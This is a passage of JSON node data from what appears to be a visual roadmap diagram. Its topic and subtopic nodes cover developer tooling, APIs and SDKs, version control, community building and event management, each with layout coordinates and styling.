178,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 49,\n      \"id\": \"j5nNSYI8s-cH8EA6G1EWY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.0482259900746,\n        \"y\": 803.7369677435748\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VS Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gvMbo22eRxqOzszc_w4Gz\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -682.0482259900746,\n        \"y\": 803.7369677435748\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 49,\n      \"id\": \"NCnKS435DCl-8vilr1_XE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.0482259900746,\n        \"y\": 751.7369677435748\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JetBrains IDEs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SJf9e7SQnzYVHoRWl0i6P\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -682.0482259900746,\n        \"y\": 751.7369677435748\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 242,\n      \"height\": 49,\n      \"id\": \"sUEZHmKxtjO9gXKJoOdbF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -321.61787473083643,\n        \"y\": 895.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"APIs & SDKs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aSYXa25_0O2qQl1O-N3xl\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -321.61787473083643,\n        \"y\": 895.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"pqp9FLRJRDDEnni72KHmv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -321.11787473083643,\n        \"y\": 1106.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C2w8R4tNy2lOhhWU9l32s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -321.11787473083643,\n        \"y\": 1106.057254188356\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"h6R3Vyq0U8t8WL3G5xC2l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -321.11787473083643,\n        \"y\": 1054.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building SDKs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gvMbo22eRxqOzszc_w4Gz\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -321.11787473083643,\n        \"y\": 1054.057254188356\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"7Q6_tdRaeb8BgreG8Mw-a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -321.11787473083643,\n        \"y\": 1002.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understanding APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SJf9e7SQnzYVHoRWl0i6P\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -321.11787473083643,\n        \"y\": 1002.057254188356\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 230,\n      \"height\": 49,\n      \"id\": \"x6KFf4akYuUYkNhrUwj1r\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -717.6330105911425,\n        \"y\": 1242.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sUEZHmKxtjO9gXKJoOdbF\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.6330105911425,\n        \"y\": 1242.057254188356\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"a-i1mgF3VAxbbpA1gMWyK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -715.0117738992456,\n        \"y\": 1171.660890748914\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j5nNSYI8s-cH8EA6G1EWY\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -715.0117738992456,\n        \"y\": 1171.660890748914\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 122,\n      \"height\": 49,\n      \"id\": \"8O1AgUKXe35kdiYD02dyt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -608.6330105911425,\n        \"y\": 1171.660890748914\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NCnKS435DCl-8vilr1_XE\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -608.6330105911425,\n        \"y\": 1171.660890748914\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 234,\n      \"height\": 49,\n      \"id\": \"J2WunUJBzYw_D5cQH_pnH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -719.0482259900746,\n        \"y\": 883.9174986269228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Managing Discussions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8O1AgUKXe35kdiYD02dyt\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -719.0482259900746,\n        \"y\": 883.9174986269228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 234,\n      \"height\": 49,\n      \"id\": \"vCoEJyS4qMWTTiL17PmWr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -719.0482259900746,\n        \"y\": 936.9174986269228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Issues & Pull Requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"J2WunUJBzYw_D5cQH_pnH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -719.0482259900746,\n        \"y\": 936.9174986269228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 234,\n      \"height\": 49,\n      \"id\": \"x3qTqhR1uA5CXqULIJqL8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -719.0482259900746,\n        \"y\": 989.9174986269228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Labelling and Cleanup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vCoEJyS4qMWTTiL17PmWr\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -719.0482259900746,\n        \"y\": 989.9174986269228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 234,\n      \"height\": 49,\n      \"id\": \"v_lDqjtxjRK67GsbtxXgT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -719.0482259900746,\n        \"y\": 1042.9174986269227\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Milestones & Releases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x3qTqhR1uA5CXqULIJqL8\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -719.0482259900746,\n        \"y\": 1042.9174986269227\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 234,\n      \"height\": 49,\n      \"id\": \"7ZFTmlQHYQKNjKprwV8zk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -719.0482259900746,\n        \"y\": 1095.9174986269227\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Public Backlog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v_lDqjtxjRK67GsbtxXgT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -719.0482259900746,\n        \"y\": 1095.9174986269227\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 230,\n      \"height\": 49,\n      \"id\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.61787473083643,\n        \"y\": 1365.869941690585\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building a Community\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"usorG1GkkvGAZ0h_AGHVk\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.61787473083643,\n        \"y\": 1365.869941690585\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"UKi3waPx2pozvZf2aQ52s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -716.2456688335628,\n        \"y\": 1312.9111270908159\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Identifying Audience\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -716.2456688335628,\n        \"y\": 1312.9111270908159\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"WItTQ1QboHoRkqeHJzCM9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -716.2456688335628,\n        \"y\": 1365.9111270908159\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platform Selection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4ZvzY_xGO5BZOmfqj0TTq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -716.2456688335628,\n        \"y\": 1365.9111270908159\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"hPJM4QXxeqTxPlvJ2_D3_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -716.2456688335628,\n        \"y\": 1418.9111270908159\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Initial Outreach\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4ZvzY_xGO5BZOmfqj0TTq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -716.2456688335628,\n        \"y\": 1418.9111270908159\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 235,\n      \"height\": 49,\n      \"id\": \"4ZvzY_xGO5BZOmfqj0TTq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0959104161202,\n        \"y\": 1471.9111270908159\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Community Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7ZFTmlQHYQKNjKprwV8zk\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0959104161202,\n        \"y\": 1471.9111270908159\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"er9ukuBvY-F4F8S1qbbjU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.4350504876143,\n        \"y\": 1532.475431571664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Code of Conduct\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a-i1mgF3VAxbbpA1gMWyK\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -705.4350504876143,\n        \"y\": 1532.475431571664\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"8I59U-nnkhQv8ldRuqQlb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.4350504876143,\n        \"y\": 1587.5419901273174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rules and Policies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"er9ukuBvY-F4F8S1qbbjU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -705.4350504876143,\n        \"y\": 1587.5419901273174\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 248,\n      \"height\": 49,\n      \"id\": \"-6cf3RT4-cbwvLYIkCosF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1600.869941690585\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Community Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"usorG1GkkvGAZ0h_AGHVk\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1600.869941690585\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 248,\n      \"height\": 49,\n      \"id\": \"d_dKF87OnRWoWj3Bf1uFf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1490.3694589408055\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Moderation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Nta8pUncwNQxJlqF6h1AT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1490.3694589408055\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 248,\n      \"height\": 49,\n      \"id\": \"8ls5kQvDgvwLbIrwYg1OL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1437.3694589408055\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conflict Resolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Nta8pUncwNQxJlqF6h1AT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1437.3694589408055\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 248,\n      \"height\": 49,\n      \"id\": \"6yLt4Ia52Jke9i5kJQvAC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1384.3694589408055\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Encouraging Participation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Nta8pUncwNQxJlqF6h1AT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1384.3694589408055\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 248,\n      \"height\": 49,\n      \"id\": \"Nta8pUncwNQxJlqF6h1AT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1331.3694589408055\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recognition Programs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2iRt9E42i_ej4woKCW_s2\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 89.60019543843316,\n        \"y\": 1331.3694589408055\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"usorG1GkkvGAZ0h_AGHVk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -308.11787473083643,\n        \"y\": 1848.7526533855907\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x6KFf4akYuUYkNhrUwj1r\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -308.11787473083643,\n        \"y\": 1848.7526533855907\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"RQk3uOikjQYRyTu7vuAG7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1760.9728546315107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1760.9728546315107\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"C9--J8gGZENQKn-QcZK4M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1707.9728546315107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Promotion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1707.9728546315107\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"1m1keusP-PTjEwy0dCJJL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1654.9728546315107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Execution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1654.9728546315107\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"kmcOYDvu1vq7AQPllZvv0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1601.9728546315107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Post Event Followup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1601.9728546315107\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 205,\n      \"height\": 49,\n      \"id\": \"_Qe_0RksYpX7Spzgc6Fw3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -302.61787473083643,\n        \"y\": 1542.9728546315107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Surveys\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -302.61787473083643,\n        \"y\": 1542.9728546315107\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 204,\n      \"height\": 49,\n      \"id\": \"oWXfov-mOF47d7Vffyp3t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.97839322321585,\n        \"y\": 1487.869941690585\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Feedback Collection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4ZvzY_xGO5BZOmfqj0TTq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -300.97839322321585,\n        \"y\": 1487.869941690585\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bOPFruKA5esJUu-fJLp8n\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -704.0446939322721,\n        \"y\": 2183.64912473063\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Creation\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 10,\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"YUpo12YGiraLuyN0EHBKe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 70,\n      \"positionAbsolute\": {\n        \"x\": -704.0446939322721,\n        \"y\": 2183.64912473063\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 70\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 70\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"B1IdobUaGeBLI2CgsFg8H\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -714.0446939322721,\n        \"y\": 2092.947569833047\n      },\n      